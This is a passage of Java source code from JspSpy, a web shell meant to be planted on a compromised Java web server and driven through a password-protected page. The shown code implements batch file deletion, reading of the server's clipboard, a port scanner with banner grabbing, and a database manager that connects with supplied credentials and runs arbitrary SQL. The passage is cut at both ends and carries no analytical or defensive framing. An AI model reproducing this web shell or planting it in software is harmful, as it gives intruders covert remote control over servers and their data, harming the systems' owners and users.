  948.                                 + "            var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"
  949.                                 + "            if (savefilename == null || savefilename.trim().length == 0)return;"
  950.                                 + "            doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"
  951.                                 + "        },"
  952.                                 + "        pack:function(showconfig) {"
  953.                                 + "            if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"
  954.                                 + "            var tmpName = '';"
  955.                                 + "            if (this.filename.indexOf('.') == -1) tmpName = this.filename;"
  956.                                 + "            else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"
  957.                                 + "            tmpName += '.zip';"
  958.                                 + "            var path = this.path;"
  959.                                 + "            var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"
  960.                                 + "            if (name == null || path.trim().length == 0) return;"
  961.                                 + "            doPost({o:'pack',packedfile:path,savefilename:name})"
  962.                                 + "        },"
  963.                                 + "        vEditProperty:function() {"
  964.                                 + "            var path = this.path;"
  965.                                 + "            doPost({o:'vEditProperty',filepath:path})"
  966.                                 + "        },"
  967.                                 + "        unpack:function() {"
  968.                                 + "            var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"
  969.                                 + "            if (path == null || path.trim().length == 0) return;"
  970.                                 + "            doPost({o:'unpack',savepath:path,zipfile:this.path})"
  971.                                 + "        },"
  972.                                 + "        enter:function() {"
  973.                                 + "            doPost({o:'enter',filepath:this.path})"
  974.                                 + "        }"
  975.                                 + "    };"
  976.                                 + "    function doPost(obj) {"
  977.                                 + "        var form = document.forms[\"doForm\"];"
  978.                                 + "        var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"
  979.                                 + "        for (var pro in obj)"
  980.                                 + "        {"
  981.                                 + "            var input = document.createElement(\"input\");"
  982.                                 + "            input.type = \"hidden\";"
  983.                                 + "            input.name = pro;"
  984.                                 + "            input.value = obj[pro];"
  985.                                 + "            form.appendChild(input);"
  986.                                 + "        }"
  987.                                 + "        form.submit();" + "    }" + "</script>");
  988.  
  989.             } catch (Exception e) {
  990.  
  991.                 throw e;
  992.             }
  993.         }
  994.     }
  995.  
  996.     private static class BeforeInvoker extends DefaultInvoker {
  997.         public void invoke(HttpServletRequest request,
  998.                 HttpServletResponse response, HttpSession JSession)
  999.                 throws Exception {
  1000.             try {
  1001.                 PrintWriter out = response.getWriter();
  1002.                 out
  1003.                         .println("<html><head><title>JspSpy</title><style type=\"text/css\">"
  1004.                                 + "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"
  1005.                                 + ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"
  1006.                                 + ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"
  1007.                                 + ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"
  1008.                                 + "a {color: #00f;text-decoration:underline;}"
  1009.                                 + "a:hover{color: #f00;text-decoration:none;}"
  1010.                                 + ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"
  1011.                                 + ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"
  1012.                                 + ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"
  1013.                                 + ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"
  1014.                                 + ".head td span{font-weight:normal;}"
  1015.                                 + "form{margin:0;padding:0;}"
  1016.                                 + "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"
  1017.                                 + "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"
  1018.                                 + "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"
  1019.                                 + ".secho{height:400px;width:100%;overflow:auto;border:none}"
  1020.                                 + "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"
  1021.                                 + "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
  1022.             } catch (Exception e) {
  1023.  
  1024.                 throw e;
  1025.             }
  1026.         }
  1027.     }
  1028.  
  1029.     private static class AfterInvoker extends DefaultInvoker {
  1030.         public void invoke(HttpServletRequest request,
  1031.                 HttpServletResponse response, HttpSession JSession)
  1032.                 throws Exception {
  1033.             try {
  1034.                 PrintWriter out = response.getWriter();
  1035.                 out.println("</body></html>");
  1036.             } catch (Exception e) {
  1037.  
  1038.                 throw e;
  1039.             }
  1040.         }
  1041.     }
  1042.  
  1043.     private static class DeleteBatchInvoker extends DefaultInvoker {
  1044.         public boolean doBefore() {
  1045.             return false;
  1046.         }
  1047.  
  1048.         public boolean doAfter() {
  1049.             return false;
  1050.         }
  1051.  
  1052.         public void invoke(HttpServletRequest request,
  1053.                 HttpServletResponse response, HttpSession JSession)
  1054.                 throws Exception {
  1055.             try {
  1056.                 String files = request.getParameter("files");
  1057.                 int success = 0;
  1058.                 int failed = 0;
  1059.                 if (!Util.isEmpty(files)) {
  1060.                     String currentDir = JSession.getAttribute(CURRENT_DIR)
  1061.                             .toString();
  1062.                     String[] arr = files.split(",");
  1063.                     for (int i = 0; i < arr.length; i++) {
  1064.                         String fs = arr[i];
  1065.                         File f = new File(currentDir, fs);
  1066.                         if (f.delete())
  1067.                             success += 1;
  1068.                         else
  1069.                             failed += 1;
  1070.                     }
  1071.                 }
  1072.                 JSession
  1073.                         .setAttribute(
  1074.                                 MSG,
  1075.                                 success
  1076.                                         + " Files Deleted <span style='color:green'>Success</span> , "
  1077.                                         + failed
  1078.                                         + " Files Deleted <span style='color:red'>Failed</span>!");
  1079.                 response.sendRedirect(SHELL_NAME);
  1080.             } catch (Exception e) {
  1081.  
  1082.                 throw e;
  1083.             }
  1084.         }
  1085.     }
  1086.  
  1087.     private static class ClipBoardInvoker extends DefaultInvoker {
  1088.         public void invoke(HttpServletRequest request,
  1089.                 HttpServletResponse response, HttpSession JSession)
  1090.                 throws Exception {
  1091.             try {
  1092.                 PrintWriter out = response.getWriter();
  1093.                 out
  1094.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  1095.                                 + "  <tr>"
  1096.                                 + "    <td>"
  1097.                                 + "        <h2>System Clipboard &raquo;</h2>"
  1098.                                 + "<p><pre>");
  1099.                 try {
  1100.                     out.println(Util.htmlEncode(Util.getStr(Toolkit
  1101.                             .getDefaultToolkit().getSystemClipboard()
  1102.                             .getContents(DataFlavor.stringFlavor)
  1103.                             .getTransferData(DataFlavor.stringFlavor))));
  1104.                 } catch (Exception ex) {
  1105.                     out.println("ClipBoard is Empty Or Is Not Text Data !");
  1106.                 }
  1107.                 out
  1108.                         .println("</pre>"
  1109.                                 + "          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\"  />"
  1110.                                 + "        </p>" + "      </td>" + "  </tr>"
  1111.                                 + "</table>");
  1112.             } catch (Exception e) {
  1113.  
  1114.                 throw e;
  1115.             }
  1116.         }
  1117.     }
  1118.  
  1119.     private static class VPortScanInvoker extends DefaultInvoker {
  1120.         public void invoke(HttpServletRequest request,
  1121.                 HttpServletResponse response, HttpSession JSession)
  1122.                 throws Exception {
  1123.             try {
  1124.                 PrintWriter out = response.getWriter();
  1125.                 String ip = request.getParameter("ip");
  1126.                 String ports = request.getParameter("ports");
  1127.                 String timeout = request.getParameter("timeout");
  1128.                 String banner = request.getParameter("banner");
  1129.                 if (Util.isEmpty(ip))
  1130.                     ip = "127.0.0.1";
  1131.                 if (Util.isEmpty(ports))
  1132.                     ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
  1133.                 if (Util.isEmpty(timeout))
  1134.                     timeout = "2";
  1135.                 out
  1136.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  1137.                                 + "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"
  1138.                                 + "<div id=\"YwLB\"><form action=\""
  1139.                                 + SHELL_NAME
  1140.                                 + "\" method=\"post\">"
  1141.                                 + "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"
  1142.                                 + "IP : <input name=\"ip\" type=\"text\" value=\""
  1143.                                 + ip
  1144.                                 + "\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""
  1145.                                 + ports
  1146.                                 + "\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "
  1147.                                 + (!Util.isEmpty(banner) ? "checked" : "")
  1148.                                 + " type='checkbox' value='yes' name='banner'/>Banner Timeout  (Second) : <input name=\"timeout\" type=\"text\" value=\""
  1149.                                 + timeout
  1150.                                 + "\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"
  1151.                                 + "</p>"
  1152.                                 + "</form></div>"
  1153.                                 + "</td></tr></table>");
  1154.             } catch (Exception e) {
  1155.  
  1156.                 throw e;
  1157.             }
  1158.         }
  1159.     }
  1160.  
  1161.     private static class PortScanInvoker extends DefaultInvoker {
  1162.         public void invoke(HttpServletRequest request,
  1163.                 HttpServletResponse response, HttpSession JSession)
  1164.                 throws Exception {
  1165.             try {
  1166.                 PrintWriter out = response.getWriter();
  1167.                 ((Invoker) ins.get("vPortScan")).invoke(request, response,
  1168.                         JSession);
  1169.                 out.println("<hr/>");
  1170.                 String ip = request.getParameter("ip");
  1171.                 String ports = request.getParameter("ports");
  1172.                 String timeout = request.getParameter("timeout");
  1173.                 String banner = request.getParameter("banner");
  1174.                 int iTimeout = 0;
  1175.                 if (Util.isEmpty(ip) || Util.isEmpty(ports))
  1176.                     return;
  1177.                 if (!Util.isInteger(timeout)) {
  1178.                     timeout = "2";
  1179.                 }
  1180.                 iTimeout = Integer.parseInt(timeout);
  1181.                 Map rs = new LinkedHashMap();
  1182.                 String[] portArr = ports.split(",");
  1183.                 for (int i = 0; i < portArr.length; i++) {
  1184.                     String port = portArr[i];
  1185.                     BufferedReader r = null;
  1186.                     try {
  1187.                         Socket s = new Socket();
  1188.                         s.connect(new InetSocketAddress(ip, Integer
  1189.                                 .parseInt(port)), iTimeout);
  1190.                         s.setSoTimeout(iTimeout);
  1191.                         if (!Util.isEmpty(banner)) {
  1192.                             r = new BufferedReader(new InputStreamReader(s
  1193.                                     .getInputStream()));
  1194.                             StringBuffer sb = new StringBuffer();
  1195.                             String b = r.readLine();
  1196.                             while (b != null) {
  1197.                                 sb.append(b + " ");
  1198.                                 try {
  1199.                                     b = r.readLine();
  1200.                                 } catch (Exception e) {
  1201.                                     break;
  1202.                                 }
  1203.                             }
  1204.                             rs.put(port,
  1205.                                     "Open <span style=\"color:grey;font-weight:normal\">"
  1206.                                             + sb.toString() + "</span>");
  1207.                             r.close();
  1208.                         } else {
  1209.                             rs.put(port, "Open");
  1210.                         }
  1211.                         s.close();
  1212.                     } catch (Exception e) {
  1213.                         if (e.toString().toLowerCase()
  1214.                                 .indexOf("read timed out") != -1) {
  1215.                             rs
  1216.                                     .put(
  1217.                                             port,
  1218.                                             "Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
  1219.                             if (r != null)
  1220.                                 r.close();
  1221.                         } else {
  1222.                             rs.put(port, "Close");
  1223.                         }
  1224.                     }
  1225.                 }
  1226.                 out.println("<div style='margin:10px'>");
  1227.                 Set entrySet = rs.entrySet();
  1228.                 Iterator it = entrySet.iterator();
  1229.                 while (it.hasNext()) {
  1230.                     Map.Entry e = (Map.Entry) it.next();
  1231.                     String port = (String) e.getKey();
  1232.                     String value = (String) e.getValue();
  1233.                     out.println(ip + " : " + port
  1234.                             + " ................................. <font color="
  1235.                             + (value.equals("Close") ? "red" : "green")
  1236.                             + "><b>" + value + "</b></font><br>");
  1237.                 }
  1238.                 out.println("</div>");
  1239.             } catch (Exception e) {
  1240.  
  1241.                 throw e;
  1242.             }
  1243.         }
  1244.     }
  1245.  
  1246.     private static class VConnInvoker extends DefaultInvoker {
  1247.         public void invoke(HttpServletRequest request,
  1248.                 HttpServletResponse response, HttpSession JSession)
  1249.                 throws Exception {
  1250.             try {
  1251.                 PrintWriter out = response.getWriter();
  1252.                 Object obj = JSession.getAttribute(DBO);
  1253.                 if (obj == null || !((DBOperator) obj).isValid()) {
  1254.                     out
  1255.                             .println("  <script type=\"text/javascript\">"
  1256.                                     + "    function changeurldriver(){"
  1257.                                     + "        var form = document.forms[\"form1\"];"
  1258.                                     + "        var v = form.elements[\"db\"].value;"
  1259.                                     + "        form.elements[\"url\"].value = v.split(\"`\")[1];"
  1260.                                     + "        form.elements[\"driver\"].value = v.split(\"`\")[0];"
  1261.                                     + "        form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"
  1262.                                     + "    }" + "  </script>");
  1263.                     out
  1264.                             .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  1265.                                     + "<form name=\"form1\" id=\"form1\" action=\""
  1266.                                     + SHELL_NAME
  1267.                                     + "\" method=\"post\" >"
  1268.                                     + "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"
  1269.                                     + "<h2>DataBase Manager &raquo;</h2>"
  1270.                                     + "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"
  1271.                                     + "<p>"
  1272.                                     + "Driver:"
  1273.                                     + "  <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\"  />"
  1274.                                     + "URL:"
  1275.                                     + "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"
  1276.                                     + "UID:"
  1277.                                     + "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"
  1278.                                     + "PWD:"
  1279.                                     + "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"
  1280.                                     + "DataBase:"
  1281.                                     + " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"
  1282.                                     + " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"
  1283.                                     + " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"
  1284.                                     + " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"
  1285.                                     + " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"
  1286.                                     + " <option value=' ` '>Other</option>"
  1287.                                     + " </select>"
  1288.                                     + "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"
  1289.                                     + "</p>"
  1290.                                     + "</form></table><script>changeurldriver()</script>");
  1291.                 } else {
  1292.                     ((Invoker) ins.get("dbc")).invoke(request, response,
  1293.                             JSession);
  1294.                 }
  1295.             } catch (ClassCastException e) {
  1296.                 throw e;
  1297.             } catch (Exception e) {
  1298.  
  1299.                 throw e;
  1300.             }
  1301.         }
  1302.     }
  1303.  
  1304.     //DBConnect
  1305.     private static class DbcInvoker extends DefaultInvoker {
  1306.         public void invoke(HttpServletRequest request,
  1307.                 HttpServletResponse response, HttpSession JSession)
  1308.                 throws Exception {
  1309.             try {
  1310.                 PrintWriter out = response.getWriter();
  1311.                 String driver = request.getParameter("driver");
  1312.                 String url = request.getParameter("url");
  1313.                 String uid = request.getParameter("uid");
  1314.                 String pwd = request.getParameter("pwd");
  1315.                 String sql = request.getParameter("sql");
  1316.                 String selectDb = request.getParameter("selectDb");
  1317.                 if (selectDb == null)
  1318.                     selectDb = JSession.getAttribute("selectDb").toString();
  1319.                 else
  1320.                     JSession.setAttribute("selectDb", selectDb);
  1321.                 Object dbo = JSession.getAttribute(DBO);
  1322.                 if (dbo == null || !((DBOperator) dbo).isValid()) {
  1323.                     if (dbo != null)
  1324.                         ((DBOperator) dbo).close();
  1325.                     dbo = new DBOperator(driver, url, uid, pwd, true);
  1326.                 } else {
  1327.                     if (!Util.isEmpty(driver) && !Util.isEmpty(url)
  1328.                             && !Util.isEmpty(uid)) {
  1329.                         DBOperator oldDbo = (DBOperator) dbo;
  1330.                         dbo = new DBOperator(driver, url, uid, pwd);
  1331.                         if (!oldDbo.equals(dbo)) {
  1332.                             ((DBOperator) oldDbo).close();
  1333.                             ((DBOperator) dbo).connect();
  1334.                         } else {
  1335.                             dbo = oldDbo;
  1336.                         }
  1337.                     }
  1338.                 }
  1339.                 DBOperator Ddbo = (DBOperator) dbo;
  1340.                 JSession.setAttribute(DBO, Ddbo);
  1341.                 if (!Util.isEmpty(request.getParameter("type"))
  1342.                         && request.getParameter("type").equals("switch")) {
  1343.                     Ddbo.getConn().setCatalog(request.getParameter("catalog"));
  1344.                 }
  1345.                 Util.outMsg(out, "Connect To DataBase Success!");
  1346.                 out
  1347.                         .println("  <script type=\"text/javascript\">"
  1348.                                 + "    function changeurldriver(selectDb){"
  1349.                                 + "        var form = document.forms[\"form1\"];"
  1350.                                 + "        if (selectDb){"
  1351.                                 + "            form.elements[\"db\"].selectedIndex = selectDb"
  1352.                                 + "        }"
  1353.                                 + "        var v = form.elements[\"db\"].value;"
  1354.                                 + "        form.elements[\"url\"].value = v.split(\"`\")[1];"
  1355.                                 + "        form.elements[\"driver\"].value = v.split(\"`\")[0];"
  1356.                                 + "        form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"
  1357.                                 + "    }" + "  </script>");
  1358.                 out
  1359.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  1360.                                 + "<form name=\"form1\" id=\"form1\" action=\""
  1361.                                 + SHELL_NAME
  1362.                                 + "\" method=\"post\" >"
  1363.                                 + "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""
  1364.                                 + selectDb
  1365.                                 + "\">"
  1366.                                 + "<h2>DataBase Manager &raquo;</h2>"
  1367.                                 + "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"
  1368.                                 + "<p>"
  1369.                                 + "Driver:"
  1370.                                 + "  <input class=\"input\" name=\"driver\" value=\""
  1371.                                 + Ddbo.driver
  1372.                                 + "\" id=\"driver\" type=\"text\" size=\"35\"  />"
  1373.                                 + "URL:"
  1374.                                 + "<input class=\"input\" name=\"url\" value=\""
  1375.                                 + Ddbo.url
  1376.                                 + "\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"
  1377.                                 + "UID:"
  1378.                                 + "<input class=\"input\" name=\"uid\" value=\""
  1379.                                 + Ddbo.uid
  1380.                                 + "\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"
  1381.                                 + "PWD:"
  1382.                                 + "<input class=\"input\" name=\"pwd\" value=\""
  1383.                                 + Ddbo.pwd
  1384.                                 + "\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"
  1385.                                 + "DataBase:"
  1386.                                 + " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"
  1387.                                 + " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"
  1388.                                 + " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"
  1389.                                 + " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"
  1390.                                 + " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"
  1391.                                 + " <option value=' ` '>Other</option>"
  1392.                                 + " </select>"
  1393.                                 + "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"
  1394.                                 + "</p>"
  1395.                                 + "</form><script>changeurldriver('"
  1396.                                 + selectDb + "')</script>");
  1397.                 DatabaseMetaData meta = Ddbo.getConn().getMetaData();
  1398.                 out
  1399.                         .println("<form action=\""
  1400.                                 + SHELL_NAME
  1401.                                 + "\" method=\"POST\">"
  1402.                                 + "<p><input type=\"hidden\" name=\"selectDb\" value=\""
  1403.                                 + selectDb
  1404.                                 + "\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"
  1405.                                 + meta.getDatabaseProductName()
  1406.                                 + " , "
  1407.                                 + meta.getDatabaseProductVersion()
  1408.                                 + "</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"
  1409.                                 + meta.getURL()
  1410.                                 + "</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"
  1411.                                 + Ddbo.getConn().getCatalog()
  1412.                                 + "</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"
  1413.                                 + meta.getUserName()
  1414.                                 + "</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
  1415.                 out
  1416.                         .println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
  1417.                 out
  1418.                         .println("<option value='0'>-- Select a DataBase --</option>");
  1419.                 ResultSet dbs = meta.getCatalogs();
  1420.                 try {
  1421.                     while (dbs.next()) {
  1422.                         out.println("<option value='" + dbs.getString(1) + "'>"
  1423.                                 + dbs.getString(1) + "</option>");
  1424.                     }
  1425.                 } catch (Exception ex) {
  1426.                 }
  1427.                 dbs.close();
  1428.                 out
  1429.                         .println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"
  1430.                                 + Util.htmlEncode(Util.getStr(sql))
  1431.                                 + "</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
  1432.                 if (Util.isEmpty(sql)) {
  1433.                     String type = request.getParameter("type");
  1434.                     if (Util.isEmpty(type) || type.equals("switch")) {
  1435.                         ResultSet tbs = meta.getTables(null, null, null, null);
  1436.                         out.println(Table.rs2Table(tbs, meta
  1437.                                 .getIdentifierQuoteString(), true));
  1438.                         tbs.close();
  1439.                     } else if (type.equals("struct")) {
  1440.                         String tb = request.getParameter("table");
  1441.                         if (Util.isEmpty(tb))
  1442.                             return;
  1443.                         ResultSet t = meta.getColumns(null, null, tb, null);
  1444.                         out.println(Table.rs2Table(t, "", false));
  1445.                         t.close();
  1446.                     }
  1447.                 }
  1448.             } catch (Exception e) {
  1449.                 JSession
  1450.                         .setAttribute(
  1451.                                 MSG,
  1452.                                 "<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"
  1453.                                         + BACK_HREF);
  1454.                 throw e;
  1455.             }
  1456.         }
  1457.     }
  1458.  
  1459.     private static class ExecuteSQLInvoker extends DefaultInvoker {
  1460.         public void invoke(HttpServletRequest request,
  1461.                 HttpServletResponse response, HttpSession JSession)
  1462.                 throws Exception {
  1463.             try {
  1464.                 PrintWriter out = response.getWriter();
  1465.                 String sql = request.getParameter("sql");
  1466.                 String db = request.getParameter("selectDb");
  1467.                 Object dbo = JSession.getAttribute(DBO);
  1468.                 if (!Util.isEmpty(sql)) {
  1469.                     if (dbo == null || !((DBOperator) dbo).isValid()) {
  1470.                         ((Invoker) ins.get("vConn")).invoke(request, response,
  1471.                                 JSession);
  1472.                         return;
  1473.                     } else {
  1474.                         ((Invoker) ins.get("dbc")).invoke(request, response,
  1475.                                 JSession);
  1476.                         Object obj = ((DBOperator) dbo).execute(sql);
  1477.                         if (obj instanceof ResultSet) {
  1478.                             ResultSet rs = (ResultSet) obj;
  1479.                             ResultSetMetaData meta = rs.getMetaData();
  1480.                             int colCount = meta.getColumnCount();
  1481.                             out
  1482.                                     .println("<b style=\"margin-left:15px\">Query#0 : "
  1483.                                             + Util.htmlEncode(sql)
  1484.                                             + "</b><br/><br/>");
  1485.                             out
  1486.                                     .println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  1487.                             for (int i = 1; i <= colCount; i++) {
  1488.                                 out.println("<td nowrap>"
  1489.                                         + meta.getColumnName(i) + "<br><span>"
  1490.                                         + meta.getColumnTypeName(i)
  1491.                                         + "</span></td>");
  1492.                             }
  1493.                             out.println("</tr>");
  1494.                             Table tb = new Table();
  1495.                             while (rs.next()) {
  1496.                                 Row r = new Row();
  1497.                                 for (int i = 1; i <= colCount; i++) {
  1498.                                     String v = null;
  1499.                                     try {
  1500.                                         v = rs.getString(i);
  1501.                                     } catch (SQLException ex) {
  1502.                                         v = "<<Error!>>";
  1503.                                     }
  1504.                                     r.addColumn(new Column(v));
  1505.                                 }
  1506.                                 tb.addRow(r);
  1507.                             }
  1508.                             out.println(tb.toString());
  1509.                             out.println("</table><br/>");
  1510.                             rs.close();
  1511.                             ((DBOperator) dbo).closeStmt();
  1512.                         } else {
  1513.                             out
  1514.                                     .println("<b style='margin-left:15px'>affected rows : <i>"
  1515.                                             + obj + "</i></b><br/><br/>");
  1516.                         }
  1517.                     }
  1518.                 } else {
  1519.                     ((Invoker) ins.get("dbc")).invoke(request, response,
  1520.                             JSession);
  1521.                 }
  1522.             } catch (Exception e) {
  1523.  
  1524.                 throw e;
  1525.             }
  1526.         }
  1527.     }
  1528.  
  1529.     private static class VLoginInvoker extends DefaultInvoker {
  1530.         public boolean doBefore() {
  1531.             return false;
  1532.         }
  1533.  
  1534.         public void invoke(HttpServletRequest request,
  1535.                 HttpServletResponse response, HttpSession JSession)
  1536.                 throws Exception {
  1537.             try {
  1538.                 PrintWriter out = response.getWriter();
  1539.                 out
  1540.                         .println("<html><head><title>jspspy</title><style type=\"text/css\">"
  1541.                                 + "    input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"
  1542.                                 + "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"
  1543.                                 + "    </style></head><body><form method=\"POST\" action=\""
  1544.                                 + SHELL_NAME
  1545.                                 + "\">"
  1546.                                 + "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"
  1547.                                 + "      <p><span style=\"font:11px Verdana;\">Password: </span>"
  1548.                                 + "        <input name=\"o\" type=\"hidden\" value=\"login\">"
  1549.                                 + "        <input name=\"pw\" type=\"password\" size=\"20\">"
  1550.                                 + "        <input type=\"hidden\" name=\"o\" value=\"login\">"
  1551.                                 + "        <input type=\"submit\" value=\"Login\"><br/>"
  1552.                                 + "<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2010</span>--></p>"
  1553.                                 + "    </form><span style='font-weight:bold;color:red;font-size:12px'></span></body></html>");
  1554.             } catch (Exception e) {
  1555.  
  1556.                 throw e;
  1557.             }
  1558.         }
  1559.     }
  1560.  
  1561.     private static class LoginInvoker extends DefaultInvoker {
  1562.         public boolean doBefore() {
  1563.             return false;
  1564.         }
  1565.  
  1566.         public void invoke(HttpServletRequest request,
  1567.                 HttpServletResponse response, HttpSession JSession)
  1568.                 throws Exception {
  1569.             try {
  1570.                 String inputPw = request.getParameter("pw");
  1571.                 if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
  1572.                     ((Invoker) ins.get("vLogin")).invoke(request, response,
  1573.                             JSession);
  1574.                     return;
  1575.                 } else {
  1576.                     JSession.setAttribute(PW_SESSION_ATTRIBUTE, inputPw);
  1577.                     response.sendRedirect(SHELL_NAME);
  1578.                     return;
  1579.                 }
  1580.             } catch (Exception e) {
  1581.  
  1582.                 throw e;
  1583.             }
  1584.         }
  1585.     }
  1586.  
  1587.     private static class MyComparator implements Comparator {
  1588.         public int compare(Object obj1, Object obj2) {
  1589.             try {
  1590.                 if (obj1 != null && obj2 != null) {
  1591.                     File f1 = (File) obj1;
  1592.                     File f2 = (File) obj2;
  1593.                     if (f1.isDirectory()) {
  1594.                         if (f2.isDirectory()) {
  1595.                             return f1.getName().compareTo(f2.getName());
  1596.                         } else {
  1597.                             return -1;
  1598.                         }
  1599.                     } else {
  1600.                         if (f2.isDirectory()) {
  1601.                             return 1;
  1602.                         } else {
  1603.                             return f1.getName().toLowerCase().compareTo(
  1604.                                     f2.getName().toLowerCase());
  1605.                         }
  1606.                     }
  1607.                 }
  1608.                 return 0;
  1609.             } catch (Exception e) {
  1610.                 return 0;
  1611.             }
  1612.         }
  1613.     }
  1614.  
  1615.     private static class FileListInvoker extends DefaultInvoker {
  1616.         public void invoke(HttpServletRequest request,
  1617.                 HttpServletResponse response, HttpSession JSession)
  1618.                 throws Exception {
  1619.             try {
  1620.                 String path2View = null;
  1621.                 PrintWriter out = response.getWriter();
  1622.                 String path = request.getParameter("folder");
  1623.                 String outEntry = request.getParameter("outentry");
